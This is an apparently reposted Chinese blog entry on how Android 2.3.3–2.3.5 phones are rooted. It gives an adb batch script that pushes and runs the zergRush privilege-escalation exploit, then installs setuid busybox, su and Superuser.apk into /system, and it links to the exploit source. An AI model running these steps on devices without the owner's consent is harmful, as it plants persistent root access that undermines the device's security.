zoukankan      html  css  js  c++  java
  • android2.3.3~5系统获得root的原理

    @files\adb wait-for-device
    @files\adb shell "cd /data/local/tmp/; rm *"
    @files\adb push files\zergRush /data/local/tmp/.
    @files\adb shell "chmod 777 /data/local/tmp/zergRush"
    @files\adb shell "./data/local/tmp/zergRush"

    利用系统漏洞提升权限

    http://blog.csdn.net/tomken_zhang/article/details/6866260

    https://github.com/revolutionary/zergRush/blob/master/zergRush.c (代码)
    @files\adb wait-for-device
    @files\adb push files\busybox /data/local/tmp/.
    @files\adb shell "chmod 755 /data/local/tmp/busybox"
    @files\adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
    @files\adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
    @files\adb shell "chown root.shell /system/xbin/busybox"
    @files\adb shell "chmod 04755 /system/xbin/busybox"
    @files\adb shell "/system/xbin/busybox --install -s /system/xbin"
    @files\adb shell "rm -r /data/local/tmp/busybox"
    @files\adb push files\su /system/bin/su
    @files\adb shell "chown root.shell /system/bin/su"
    @files\adb shell "chmod 06755 /system/bin/su"
    @files\adb shell "rm /system/xbin/su"
    @files\adb shell "ln -s /system/bin/su /system/xbin/su"
    @files\adb push files\Superuser.apk /system/app/.
    @files\adb shell "cd /data/local/tmp/; rm *"
    @files\adb reboot

  • 相关阅读:
    第三章 AOP
    第二章 IoC
    第一章 Spring 概述
    框架整合
    后台管理工程搭建
    技术架构
    淘淘商城简介
    电商行业背景
    前言
    FutureTask的使用
  • 原文地址:https://www.cnblogs.com/ahuo/p/2471866.html
Copyright © 2011-2022 走看看